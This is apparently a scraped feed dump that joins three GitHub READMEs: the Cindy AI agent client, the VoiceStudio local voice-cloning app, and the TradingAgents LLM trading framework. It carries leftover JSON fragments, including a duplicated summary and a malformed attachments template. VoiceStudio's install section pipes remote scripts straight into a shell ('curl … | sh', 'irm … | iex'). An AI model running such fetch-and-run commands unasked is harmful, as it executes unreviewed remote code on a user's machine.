\ud83c\udf10 cindy.app \u00b7 \u2b07\ufe0f Download
\nCindy is an open-source AI agent that works out of the box. She brings multiple harnesses, models and tools into one agent that finishes real work in your projects and apps. Ready from day one, yours to shape over time.
\nCindy runs locally on your own machine, using your real files and logged-in apps. The first supported harnesses are Claude Code and Codex \u2014 more are being added, and a native harness is in the works. Models and harnesses mix freely and can switch mid-task while your workspace, memory, skills and tools stay continuous; one task can even be planned, executed in parallel, and reviewed by agents on different harness \u00d7 model combos. She can drive your browser, computer and phone, and take work from IM and schedules.
\nThis repository is the open-source client for Cindy \u2014 the desktop and mobile apps plus their shared packages, organized as a pnpm monorepo.
\nThe client is free to use, and its source code is open under Apache-2.0. Bring models your way: sign in to the official Cindy service (usage deducted transparently), authorize the Claude Code / Codex Coding Plan you already pay for and keep using it inside Cindy \u2014 no duplicate bill \u2014 connect your own API keys, or use local models. See cindy.app for service details, pricing, and downloads.
\nLinux users: see the Ubuntu, Arch Linux and Omarchy installation guide for installation, updates, keyring setup and migration from a manual install.
\nOpen source means more than visible \u2014 it means changeable:
\nReady out of the box, never boxed in \u2014 start with CONTRIBUTING.en.md and build Cindy with us.
| Path | \nDescription | \n
|---|---|
apps/desktop | \n Electron desktop client | \n
apps/mobile | \n Expo / React Native mobile client | \n
packages/* | \n Shared client capabilities (auth, device-link, agent orchestration, model providers, \u2026) | \n
apps/*-bin | \n Tool binaries shipped with the desktop app; none are committed \u2014 claude-code, codex, and ripgrep are downloaded per platform by pnpm install, and the Android platform-tools binaries are fetched (pinned version, sha256-verified) before Windows packaging | \n
Not in this repo: the backend service lives in a separate repository and is not part of this monorepo.
\n| Mode | \nAccount requirement | \nAvailability | \n
|---|---|---|
| Hosted service | \nCindy cloud account | \nUse Cindy's full hosted service. See pricing. | \n
| Skip Sign-In | \nNo Cindy sign-in required | \nChoose \u201cSkip Sign-In\u201d on the login screen to use local agents; the app then shows the account state as \u201cNot signed in\u201d. Server-backed capabilities are unavailable in this state. | \n
Contributor setup, Git LFS, dependency updates, and access requirements are maintained in CONTRIBUTING.en.md. Plugins are installed through SkillHub or manually.
Minimal entry point:
\ngit clone https://github.com/makecindy/cindy.git\ncd cindy\ngit lfs pull\npnpm install\n# Mainland China Cindy account\npnpm restart:desktop:remote --region=cn\n\n# Global Cindy account\npnpm restart:desktop:remote --region=global\nRemote development uses your own Cindy cloud account and existing login state, so you can continue existing sessions and work while developing the client. Use cn for Mainland China accounts and global for everyone else; do not rely on the internal default. Full desktop, mobile, data-isolation, and validation workflows are in CONTRIBUTING.en.md.
\u201cSkip Sign-In\u201d on the login screen runs local agents without a Cindy account (shown in the app as \u201cNot signed in\u201d), not a connection to a local server. Server-backed capabilities are unavailable in this state.
\nAbout the default servers: the client connects to Cindy's official cloud services by default (endpoint manifests in config/endpoint.json and config/endpoint.global.json; desktop auto-updates also come from the official CDN). This is intentional \u2014 external developers don't need to self-host a server: sign in with your own Cindy account in a dev build and develop / test directly against the official servers.
Skill Hub migration uses two separate manifest fields: released clients keep using skillhubApiBaseUrl (the deprecated XD proxy), while current clients use cindySkillHubApiBaseUrl. The current client deliberately does not fall back to the legacy field when the new endpoint is absent.
DESIGN.md \u2014 visual design system, color tokens, and UI conventionsdocs/README.md \u2014 complete documentation and rules indexdocs/auth-realm-routing.md \u2014 organization SSO region discovery and session endpoint routingCONTRIBUTING.en.md \u2014 contributor setup, validation, and submission workflowAGENTS.md \u2014 engineering rules, launch/runtime contracts, and module boundariesdocs/dev-rules/ \u2014 deep-dive architecture docs (e.g. Orca multi-agent orchestration)Contributions go through pull requests into main. Read CONTRIBUTING.en.md first, then use .github/PULL_REQUEST_TEMPLATE.md. Every commit needs a Developer Certificate of Origin sign-off (git commit -s); a DCO check on each pull request enforces it, and no CLA is required. Please also follow CODE_OF_CONDUCT.en.md. For ordinary usage questions, see SUPPORT.en.md; report security issues privately through SECURITY.en.md.
Never commit credentials or authorization files to the working tree. If you discover a security issue, follow SECURITY.en.md to report it privately rather than opening a public issue.
Official distribution builds include TapDB usage analytics for product-level aggregate statistics (device / OS / app-version metadata; associated with your account ID after sign-in). It does not collect chat content, file content, or working-directory data. In addition, while signed in to a cloud account the client sends an online heartbeat to Cindy services (account ID, platform, and version only). Crash dumps stay on the local machine and are never uploaded automatically.
\nBuilding from source? You are not required to keep analytics:
\nclientId / clientToken) injected at build time, apps/mobile/src/analytics/mobileTapdb.ts is a no-op;initTapdb() call in apps/desktop/src/renderer/index.tsx (implementation lives in apps/desktop/src/renderer/analytics/).Except as otherwise noted, the source code in this repository is licensed under the Apache License, Version 2.0. Individual source files do not carry per-file license headers; the repository-root LICENSE governs.
Model weights, datasets, prompts, trademarks, and other separately identified materials may be subject to their own license terms and are not automatically covered by the repository-level Apache-2.0 grant. Third-party open-source components retain their own copyright and license. Their attribution notices and SPDX SBOMs are managed under docs/legal/, with artifact-specific outputs in docs/legal/notices/. See NOTICE for this project's copyright and attribution information.
VoiceStudio is the open-source, fully-local ElevenLabs alternative \u2014 voice cloning, voice design, video dubbing, dictation, transcription & audiobook creation in 646 languages.
![\"VoiceStudio\"](\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/logo.png\"){kind=logo}
\n
Open-source voice cloning, voice design, video dubbing, dictation, transcription & audiobook creation in 646 languages.
\nWebsite \u00b7 Download \u00b7 Get started \u00b7 Docs \u00b7 Discord \u00b7 \u7b80\u4f53\u4e2d\u6587 \u00b7 \u65e5\u672c\u8a9e
\n ![\"CI\"](\"https://img.shields.io/github/actions/workflow/status/debpalash/VoiceStudio/ci.yml?branch=main\")
![\"Latest](\"https://img.shields.io/github/v/release/debpalash/VoiceStudio\")
![\"AGPL-3.0\"](\"https://img.shields.io/badge/license-AGPL--3.0-blue\"){kind=icon}
![\"views\"](\"https://app.supermetry.com/px/zfjiv7psp4ed.svg?c=VoiceStudio&style=stats\")
![\"A](\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voicestudio.gif\")
| Create | \nProduce | \nConnect | \n
|---|---|---|
| Clone a voice or design your own | \nDub videos with timed speech | \nLocal API & MCP for agents | \n
| Dictate with a floating widget | \nStories, audiobooks & batch jobs | \nReusable recipes & watch folders | \n
Start with VoiceStudio (default, powered by k2-fsa/OmniVoice), or choose another engine. Features & engine catalog.
\nLocal workflows run on your hardware. Remote services are optional; usage analytics requires consent.
\n![\"Electron](\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voice-cloning.png\") | \n ![\"Electron](\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/dubbing.png\") | \n
| Voice cloning | \nVideo dubbing | \n
![\"Describe](\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voice-design.png\") | \n ![\"Install](\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/models.png\") | \n
| Voice design | \nLocal models | \n
OmniVoice GGUF source builds can optionally use Vulkan on Windows and Linux; see the native engine guide for build requirements, CPU fallback, and device overrides.
\n# Latest Electron release\ncurl -fsSL https://voicestudio.sh/install | sh\n\n# A specific published Electron release (replace X.Y.Z)\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --version X.Y.Z\n\n# Build current main and install the desktop app\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --main\n\n# Uninstall the app, keeping your data\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --uninstall\nOn Windows, run irm https://voicestudio.sh/install | iex in PowerShell.
If voicestudio.sh/install is unreachable or returns 404, run the same script straight from the repository, or clone it and run scripts/install.sh:
curl -fsSL https://raw.githubusercontent.com/debpalash/VoiceStudio/main/scripts/install.sh | sh\nRelease downloads require curl and a SHA-256 tool. --main requires Git, Node.js 22+, Bun, Rust/Cargo, and platform build tools; see installer prerequisites and behavior. The installer preserves your settings, projects, and models. Older versions must contain Electron packages; it never falls back to archived Tauri builds.
Or download from Releases (macOS .dmg, Windows .exe, Linux .AppImage or .deb) and follow your platform guide:
macOS \u00b7 Windows \u00b7 Linux \u00b7 Docker
\n| Hardware | \nSupport | \n
|---|---|
| NVIDIA GPU (Windows / Linux) | \nCUDA acceleration | \n
| AMD Radeon / supported Ryzen AI (Windows) | \nCPU by default; opt-in Windows ROCm setup for AMD's Windows 11 hardware matrix. Setup distinguishes package repair from host failures; install the VC++ runtime manually first. Optional engines have separate limits; Vulkan engines retain their own runtime. | \n
| Apple Silicon | \nMetal (MPS) acceleration | \n
| AMD GPU | \nOpt-in native CosyVoice GGUF can use Vulkan when the community runtime is built with Vulkan; verified on RX 6700 XT (setup) | \n
| No dedicated GPU (Intel/AMD integrated graphics, older PCs) | \nFully usable on the CPU, slower; setup installs the small CPU build of PyTorch (about 5 GB free disk) | \n
| Windows on ARM (Snapdragon X etc.) | \nExperimental, validation pending: native ARM64 app, x64 Python backend under emulation, CPU only | \n
| Intel Mac | \nApp UI only; connect to a remote backend (why) | \n
Open Voice cloning, choose a voice or add a clean reference recording, enter your text, and generate. Install the required model when prompted. Hardware needs vary by engine; see performance.
\nPaste into your coding agent (Claude Code, Codex, Cursor, \u2026):
\nInstall the VoiceStudio Electron app on this device and verify it works, following\nhttps://github.com/debpalash/VoiceStudio/blob/main/docs/install/agent.md\nThe agent guide covers hardware detection, reusing existing data, asking before model downloads, and a test generation. Agents that support skills can also run npx skills add debpalash/VoiceStudio.
git clone https://github.com/debpalash/VoiceStudio.git\ncd VoiceStudio\nbun install\nbun run setup:api # prepare Python dependencies before starting Electron\nbun run dev\nSee Electron setup for prerequisites and backend configuration.
\nUse bun run smoke-test to build and launch an isolated packaged Electron app. Add -- --install for the networked managed-runtime installation check.
\n\nElectron is the only desktop app and web UI. Version 0.5.3 was the final Tauri release. Existing Tauri users must install Electron separately. The retired Tauri shell and legacy UI entry points have been removed.
\n
| Need | \nStart here | \n
|---|---|
| Setup help | \nTroubleshooting \u00b7 Model downloads | \n
| Models & audio quality | \nEngine guides \u00b7 whisper.cpp ASR \u00b7 Benchmarks | \n
| Integrations | \nLocal API \u00b7 MCP \u00b7 Examples | \n
| Phone apps (preview, run offline) | \niOS and Android | \n
| Development | \nContributing (CLA signing guidance for your first PR) \u00b7 Electron \u00b7 Changelog | \n
Agent skills: npx skills add debpalash/VoiceStudio \u2014 choose voicestudio for audio workflows or voicestudio-maintainer for repository maintenance.
![\"Palash](\"https://github.com/debpalash.png?size=160\") Palash Debnath Creator and Core Team palash.dev \u00b7 GitHub \u00b7 X | \n ![\"Shimul](\"https://github.com/velixio.png?size=160\") Shimul Debnath Core Team shimul.me \u00b7 GitHub \u00b7 X | \n
![\"@kevin9327\"](\"https://github.com/kevin9327.png?size=96\" "\\"@kevin9327\\"")
![\"@jaketame\"](\"https://github.com/jaketame.png?size=96\" "\\"@jaketame\\"")
![\"@psiberfunk\"](\"https://github.com/psiberfunk.png?size=96\" "\\"@psiberfunk\\"")
![\"@rudycelekli\"](\"https://github.com/rudycelekli.png?size=96\" "\\"@rudycelekli\\"")
![\"@paoloantinori\"](\"https://github.com/paoloantinori.png?size=96\" "\\"@paoloantinori\\"")
![\"@Chang-Jin-Lee\"](\"https://github.com/Chang-Jin-Lee.png?size=96\" "\\"@Chang-Jin-Lee\\"")
![\"@swadhinbiswas\"](\"https://github.com/swadhinbiswas.png?size=96\" "\\"@swadhinbiswas\\"")
![\"@BichengWang\"](\"https://github.com/BichengWang.png?size=96\" "\\"@BichengWang\\"")
![\"@nirmalchatur\"](\"https://github.com/nirmalchatur.png?size=96\" "\\"@nirmalchatur\\"")
![\"@Shivendra-Coherent\"](\"https://github.com/Shivendra-Coherent.png?size=96\" "\\"@Shivendra-Coherent\\"")
![\"@marreiradigital\"](\"https://github.com/marreiradigital.png?size=96\" "\\"@marreiradigital\\"")
![\"@nvtoan0201-swe\"](\"https://github.com/nvtoan0201-swe.png?size=96\" "\\"@nvtoan0201-swe\\"")
Thank you to everyone who has sent code, reports, translations and ideas. See all contributors \u00b7 Contribute
\nSponsorship funds maintainer time, development tools, release infrastructure and test hardware; it buys recognition, not features.
\nGitHub Sponsors \u00b7 Ko-fi \u00b7 PayPal \u00b7 Tiers and recognition \u00b7 Ask for recognition
\nAGPL-3.0 covers the application, including commercial use under its conditions. Model weights, tokenizers, voices and generated-output conditions are separate; a paid app licence does not grant those rights. Clone voices only with permission. Model Manager now shows versioned model-source notices, evidence links and unresolved review gaps from the shared inventory. Its optional reviewed-file preview does not enforce ordinary downloads or certify commercial permission. See license details.
", "summary": "VoiceStudio is the open-source, fully-local ElevenLabs alternative \u2014 voice cloning, voice design, video dubbing, dictation, transcription & audiobook creation in 646 languages.
\n
Open-source voice cloning, voice design, video dubbing, dictation, transcription & audiobook creation in 646 languages.
\nWebsite \u00b7 Download \u00b7 Get started \u00b7 Docs \u00b7 Discord \u00b7 \u7b80\u4f53\u4e2d\u6587 \u00b7 \u65e5\u672c\u8a9e
\n
| Create | \nProduce | \nConnect | \n
|---|---|---|
| Clone a voice or design your own | \nDub videos with timed speech | \nLocal API & MCP for agents | \n
| Dictate with a floating widget | \nStories, audiobooks & batch jobs | \nReusable recipes & watch folders | \n
Start with VoiceStudio (default, powered by k2-fsa/OmniVoice), or choose another engine. Features & engine catalog.
\nLocal workflows run on your hardware. Remote services are optional; usage analytics requires consent.
\n | \n | \n
| Voice cloning | \nVideo dubbing | \n
| \n | \n
| Voice design | \nLocal models | \n
OmniVoice GGUF source builds can optionally use Vulkan on Windows and Linux; see the native engine guide for build requirements, CPU fallback, and device overrides.
\n# Latest Electron release\ncurl -fsSL https://voicestudio.sh/install | sh\n\n# A specific published Electron release (replace X.Y.Z)\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --version X.Y.Z\n\n# Build current main and install the desktop app\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --main\n\n# Uninstall the app, keeping your data\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --uninstall\nOn Windows, run irm https://voicestudio.sh/install | iex in PowerShell.
If voicestudio.sh/install is unreachable or returns 404, run the same script straight from the repository, or clone it and run scripts/install.sh:
curl -fsSL https://raw.githubusercontent.com/debpalash/VoiceStudio/main/scripts/install.sh | sh\nRelease downloads require curl and a SHA-256 tool. --main requires Git, Node.js 22+, Bun, Rust/Cargo, and platform build tools; see installer prerequisites and behavior. The installer preserves your settings, projects, and models. Older versions must contain Electron packages; it never falls back to archived Tauri builds.
Or download from Releases (macOS .dmg, Windows .exe, Linux .AppImage or .deb) and follow your platform guide:
macOS \u00b7 Windows \u00b7 Linux \u00b7 Docker
\n| Hardware | \nSupport | \n
|---|---|
| NVIDIA GPU (Windows / Linux) | \nCUDA acceleration | \n
| AMD Radeon / supported Ryzen AI (Windows) | \nCPU by default; opt-in Windows ROCm setup for AMD's Windows 11 hardware matrix. Setup distinguishes package repair from host failures; install the VC++ runtime manually first. Optional engines have separate limits; Vulkan engines retain their own runtime. | \n
| Apple Silicon | \nMetal (MPS) acceleration | \n
| AMD GPU | \nOpt-in native CosyVoice GGUF can use Vulkan when the community runtime is built with Vulkan; verified on RX 6700 XT (setup) | \n
| No dedicated GPU (Intel/AMD integrated graphics, older PCs) | \nFully usable on the CPU, slower; setup installs the small CPU build of PyTorch (about 5 GB free disk) | \n
| Windows on ARM (Snapdragon X etc.) | \nExperimental, validation pending: native ARM64 app, x64 Python backend under emulation, CPU only | \n
| Intel Mac | \nApp UI only; connect to a remote backend (why) | \n
Open Voice cloning, choose a voice or add a clean reference recording, enter your text, and generate. Install the required model when prompted. Hardware needs vary by engine; see performance.
\nPaste into your coding agent (Claude Code, Codex, Cursor, \u2026):
\nInstall the VoiceStudio Electron app on this device and verify it works, following\nhttps://github.com/debpalash/VoiceStudio/blob/main/docs/install/agent.md\nThe agent guide covers hardware detection, reusing existing data, asking before model downloads, and a test generation. Agents that support skills can also run npx skills add debpalash/VoiceStudio.
git clone https://github.com/debpalash/VoiceStudio.git\ncd VoiceStudio\nbun install\nbun run setup:api # prepare Python dependencies before starting Electron\nbun run dev\nSee Electron setup for prerequisites and backend configuration.
\nUse bun run smoke-test to build and launch an isolated packaged Electron app. Add -- --install for the networked managed-runtime installation check.
\n\nElectron is the only desktop app and web UI. Version 0.5.3 was the final Tauri release. Existing Tauri users must install Electron separately. The retired Tauri shell and legacy UI entry points have been removed.
\n
| Need | \nStart here | \n
|---|---|
| Setup help | \nTroubleshooting \u00b7 Model downloads | \n
| Models & audio quality | \nEngine guides \u00b7 whisper.cpp ASR \u00b7 Benchmarks | \n
| Integrations | \nLocal API \u00b7 MCP \u00b7 Examples | \n
| Phone apps (preview, run offline) | \niOS and Android | \n
| Development | \nContributing (CLA signing guidance for your first PR) \u00b7 Electron \u00b7 Changelog | \n
Agent skills: npx skills add debpalash/VoiceStudio \u2014 choose voicestudio for audio workflows or voicestudio-maintainer for repository maintenance.
Palash Debnath Creator and Core Team palash.dev \u00b7 GitHub \u00b7 X | \n Shimul Debnath Core Team shimul.me \u00b7 GitHub \u00b7 X | \n
Thank you to everyone who has sent code, reports, translations and ideas. See all contributors \u00b7 Contribute
\nSponsorship funds maintainer time, development tools, release infrastructure and test hardware; it buys recognition, not features.
\nGitHub Sponsors \u00b7 Ko-fi \u00b7 PayPal \u00b7 Tiers and recognition \u00b7 Ask for recognition
\nAGPL-3.0 covers the application, including commercial use under its conditions. Model weights, tokenizers, voices and generated-output conditions are separate; a paid app licence does not grant those rights. Clone voices only with permission. Model Manager now shows versioned model-source notices, evidence links and unresolved review gaps from the shared inventory. Its optional reviewed-file preview does not enforce ordinary downloads or certify commercial permission. See license details.
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/TauricResearch/TradingAgents", "url": "https://github.com/TauricResearch/TradingAgents", "external_url": null, "title": "TauricResearch/TradingAgents", "content_text": "", "content_html": "TradingAgents: Multi-Agents LLM Financial Trading Framework
https://arxiv.org/pdf/2412.20138
![\"Tauric](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/tradingagents/assets/tauric-logo.svg?sanitize=true\"){kind=logo}
![\"arXiv\"](\"https://img.shields.io/badge/arXiv-2412.20138-B31B1B?logo=arxiv\"){kind=icon}
\n ![\"Discord\"](\"https://img.shields.io/badge/Discord-TradingResearch-7289da?logo=discord&logoColor=white&color=7289da\"){kind=icon}
\n ![\"X](\"https://img.shields.io/badge/X-TauricResearch-white?logo=x&logoColor=white\"){kind=icon}
\n ![\"Community\"](\"https://img.shields.io/badge/GitHub_Community-TauricResearch-14C290?logo=discourse\"){kind=icon}
\n--ticker and --date, the run's settings recorded in every report, and backtests that see only data published by each analysis date.Full release notes are in CHANGELOG.md.
\nTRADINGAGENTS_* env-var configurability with API-key auto-detection, remote Ollama support, non-US alpha benchmarks, and ticker path-traversal hardening.\ud83d\ude80 TradingAgents | \u26a1 Installation & CLI | \ud83c\udfac Demo | \ud83d\udce6 Package Usage | \ud83e\udd1d Contributing | \ud83d\udcc4 Citation
\n\n\n\ud83c\udf89 TradingAgents officially released! We have received numerous inquiries about the work, and we would like to express our thanks for the enthusiasm in our community.
\nSo we decided to fully open-source the framework. Looking forward to building impactful projects with you!
\n
TradingAgents is a multi-agent trading framework that mirrors the dynamics of real-world trading firms. By deploying specialized LLM-powered agents: from fundamental analysts, sentiment experts, and technical analysts, to trader, risk management team, the platform collaboratively evaluates market conditions and informs trading decisions. Moreover, these agents engage in dynamic discussions to pinpoint the optimal strategy.
\n ![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/schema.png\")
\n\nTradingAgents framework is designed for research purposes. Trading performance may vary based on many factors, including the chosen backbone language models, model temperature, trading periods, the quality of data, and other non-deterministic factors. It is not intended as financial, investment, or trading advice.
\n
Our framework decomposes complex trading tasks into specialized roles.
\nThe selected analysts work at the same time, each on its own tools, and the research debate starts once all of their reports are in.
\n ![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/analyst.png\")
![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/researcher.png\")
![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/trader.png\")
![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/risk.png\")
Clone TradingAgents:
\ngit clone https://github.com/TauricResearch/TradingAgents.git\ncd TradingAgents\nTradingAgents needs Python 3.11 or later. Create a virtual environment in any of your favorite environment managers:
\nconda create -n tradingagents python=3.13\nconda activate tradingagents\nOr with uv:
\nuv venv --python 3.13\nsource .venv/bin/activate\nInstall the package and its dependencies (uv pip install . with uv):
pip install .\nAlternatively, run with Docker:
\ncp .env.example .env # add your API keys\ndocker compose run --rm tradingagents\nAfter updating the repository, rebuild the image with docker compose build.
Results, reports, the memory log and the cache live in the tradingagents_data volume. To keep them in a folder on the host instead, create the folder and point TRADINGAGENTS_DATA_DIR at it, in .env or the shell: mkdir -p data && TRADINGAGENTS_DATA_DIR=./data docker compose run --rm tradingagents.
For local models with Ollama:
\ndocker compose --profile ollama run --rm tradingagents-ollama\nTradingAgents supports multiple LLM providers. Set the API key for your chosen provider:
\nexport OPENAI_API_KEY=... # OpenAI (GPT)\nexport GOOGLE_API_KEY=... # Google (Gemini)\nexport ANTHROPIC_API_KEY=... # Anthropic (Claude)\nexport XAI_API_KEY=... # xAI (Grok)\nexport DEEPSEEK_API_KEY=... # DeepSeek\nexport DASHSCOPE_API_KEY=... # Qwen (international, dashscope-intl.aliyuncs.com)\nexport DASHSCOPE_CN_API_KEY=... # Qwen (China, dashscope.aliyuncs.com)\nexport ZHIPU_API_KEY=... # GLM via Z.AI (international)\nexport ZHIPU_CN_API_KEY=... # GLM via BigModel (China, open.bigmodel.cn)\nexport MINIMAX_API_KEY=... # MiniMax (global, api.minimax.io)\nexport MINIMAX_CN_API_KEY=... # MiniMax (China, api.minimaxi.com)\nexport OPENROUTER_API_KEY=... # OpenRouter\nexport MISTRAL_API_KEY=... # Mistral\nexport MOONSHOT_API_KEY=... # Kimi (Moonshot)\nexport GROQ_API_KEY=... # Groq\nexport NVIDIA_API_KEY=... # NVIDIA NIM\nexport FRED_API_KEY=... # FRED macro data (free, optional)\nexport ALPHA_VANTAGE_API_KEY=... # Alpha Vantage\nexport TYPESAFE_API_KEY=... # Jev social-post screening (optional)\nFor Azure OpenAI, copy .env.enterprise.example to .env.enterprise and fill in your credentials.
To run on your ChatGPT Plus or Pro plan instead of an API key, choose \"Subscription\" in the CLI's provider menu, or set llm_provider: \"chatgpt\". Sign in once with tradingagents login chatgpt: it prints an address to open in your browser, which returns to this machine on 127.0.0.1. When the browser runs on another machine, or TradingAgents runs in Docker (docker compose run --rm tradingagents login chatgpt), paste the address the browser ends up on. The sign-in is kept in ~/.tradingagents/chatgpt-auth.json, and tradingagents logout chatgpt revokes it. Runs count toward your plan's usage limits, and the plan does not accept temperature or max_tokens.
For AWS Bedrock, install the extra with pip install \".[bedrock]\", set llm_provider: \"bedrock\", configure AWS credentials (environment variables, ~/.aws/credentials, or an IAM role) and AWS_DEFAULT_REGION, and use a Bedrock model ID, e.g. us.anthropic.claude-opus-5-5.
For local models, configure Ollama with llm_provider: \"ollama\". The default endpoint is http://localhost:11434/v1; set OLLAMA_BASE_URL to point at a remote ollama-serve. Pull models with ollama pull <name>, and pick \"Custom model ID\" in the CLI for any model not listed by default.
For any other OpenAI-compatible server (vLLM, LM Studio, llama.cpp, or a custom relay), use llm_provider: \"openai_compatible\" and set the endpoint via backend_url (or TRADINGAGENTS_LLM_BACKEND_URL), e.g. http://localhost:8000/v1 for vLLM or http://localhost:1234/v1 for LM Studio. The model is whatever your server serves. No key is needed for local servers; set OPENAI_COMPATIBLE_API_KEY when the endpoint requires one.
With TYPESAFE_API_KEY set, the Sentiment Analyst screens StockTwits and Reddit posts with TypeSafe's Jev before reading them. Posts that are not about the company are dropped, and each source opens with a count of the remaining posts by stance: bullish, bearish, neutral, or unclear. Without the key, posts pass through unscreened. jev-latest moves with new releases; set TYPESAFE_DEFAULT_MODEL to a versioned ID such as jev-1.13.0 to hold it fixed across runs. To reach Jev through OpenRouter, put an OpenRouter key in TYPESAFE_API_KEY and set TYPESAFE_BASE_URL=https://openrouter.ai/api.
Alternatively, copy .env.example to .env and fill in your keys:
cp .env.example .env\nLaunch the interactive CLI:
\ntradingagents # installed command\npython -m cli.main # alternative: run directly from source\nYou will see a screen where you can select your desired tickers, analysis date, LLM provider, research depth, and more. Your previous run's answers come back as the defaults, so pressing Enter accepts them. The TRADINGAGENTS_* variables in .env still skip their step entirely.
To run without questions, for a scheduled job or a script, answer the per-run steps with flags and the rest with TRADINGAGENTS_* variables:
export TRADINGAGENTS_LLM_PROVIDER=openai TRADINGAGENTS_QUICK_THINK_LLM=gpt-6-luna TRADINGAGENTS_DEEP_THINK_LLM=gpt-6-sol\nexport TRADINGAGENTS_OUTPUT_LANGUAGE=English TRADINGAGENTS_MAX_DEBATE_ROUNDS=1 TRADINGAGENTS_MAX_RISK_ROUNDS=1\ntradingagents --ticker NVDA --date 2026-09-23 --analysts market,news,fundamentals --save --no-show\nEach flag skips only its own question. Run without a terminal, a missing answer stops the run before it starts and names the flag or variable to set.
\nAt start-up the interactive CLI mentions a newer release and notices from Tauric Research. It checks at most once a day, in the background, and sends nothing about your runs; set TRADINGAGENTS_NO_UPDATE_CHECK=1 to turn it off. Runs without a terminal never check.
A saved report also includes complete_report.html, the report as one page with its sections listed beside the text, for reading in a browser, on a phone or in print. Answering the save question at the prompt also asks about the page and can open it in your browser; --no-html skips it, and so does ta.save_reports(state, \"NVDA\", html=False) from Python.
TradingAgents works with any market Yahoo Finance covers, using the exchange-suffixed ticker. Company identity and the alpha benchmark resolve automatically per market.
\nAAPL, SPY0700.HK \u00b7 Tokyo: 7203.T \u00b7 London: AZN.LRELIANCE.NS, .BO \u00b7 Canada: .TO \u00b7 Australia: .AX.SS, Shenzhen .SZ (e.g. 600519.SS for Kweichow Moutai)BTC-USD, ETH-USD ![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_init.png\")
An interface will appear showing results as they load, letting you track the agent's progress as it runs.
\n ![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_news.png\")
![](\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_transaction.png\"){kind=spacer}
We built TradingAgents with LangGraph to ensure flexibility and modularity. The framework supports multiple LLM providers: OpenAI, Google, Anthropic, xAI, DeepSeek, Qwen (Alibaba DashScope, international and China endpoints), GLM (Zhipu), MiniMax (global + China), OpenRouter, Ollama for local models, Azure OpenAI for enterprise, and your own ChatGPT plan.
\nTo use TradingAgents inside your code, you can import the tradingagents module and initialize a TradingAgentsGraph() object. The .propagate() function will return a decision. You can run main.py, here's also a quick example:
from tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nta = TradingAgentsGraph(debug=True, config=DEFAULT_CONFIG.copy())\n\n# forward propagate\nstate, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\n\n# the same report tree the CLI saves, under results_dir/reports\nta.save_reports(state, \"NVDA\")\nYou can also adjust the default configuration to set your own choice of LLMs, debate rounds, etc.
\nfrom tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nconfig = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\" # e.g. openai, google, anthropic, deepseek, groq, ollama; openai_compatible covers any OpenAI-compatible endpoint (vLLM, LM Studio, llama.cpp, ...)\nconfig[\"deep_think_llm\"] = \"gpt-6-sol\" # Model for complex reasoning\nconfig[\"quick_think_llm\"] = \"gpt-6-luna\" # Model for quick tasks\nconfig[\"max_debate_rounds\"] = 2\n\nta = TradingAgentsGraph(debug=True, config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\nThe quick model serves the analysts, researchers, debaters and trader; the deep model serves the research and portfolio managers. Each can run on its own provider, for example the managers on Claude while the rest run on OpenAI:
\nconfig[\"deep_think_provider\"] = \"anthropic\"\nconfig[\"deep_think_llm\"] = \"claude-opus-5-5\"\nA tier on its own provider uses that provider's key and default endpoint; set quick_think_backend_url or deep_think_backend_url for a local or relay endpoint. The TRADINGAGENTS_DEEP_THINK_PROVIDER and TRADINGAGENTS_QUICK_THINK_PROVIDER variables set them for the CLI, together with the tier's model variable.
See tradingagents/default_config.py for all configuration options.
US company statements come from SEC EDGAR, which records the date every figure was filed. A run dated in the past reads the statements exactly as they stood that day: a fiscal year that has ended but has not been filed yet is not served, and a figure restated later still reads as first reported. Apple's 2008 total assets were filed as $39.6B and restated to $36.2B in 2010, so a run dated in between reads $39.6B. EDGAR needs no account or API key.
\nOther companies' statements come from Yahoo Finance, which dates a statement by the period it covers rather than by when it was published. A run dated today reads them; a run dated in the past is told they are withheld, since Yahoo cannot say which figures were public by then.
\nInsider trades are dated by when they happened, not when they were filed, so a run dated in the past is told they are withheld as well.
\nSEC asks callers to identify themselves and refuses requests that carry no contact address, so a default one is sent. Set your own so SEC can reach you rather than the project:
\nSEC_EDGAR_USER_AGENT=\"Your Name your@email.com\"\nIt covers companies that file with the SEC, including foreign companies listed in the US. Anything else, such as Hong Kong or A-share listings, falls through to the next vendor in the chain. EDGAR's machine-readable filings begin in 2009, and a fourth quarter is reported as unavailable rather than derived, because filers publish it only inside the annual figure.
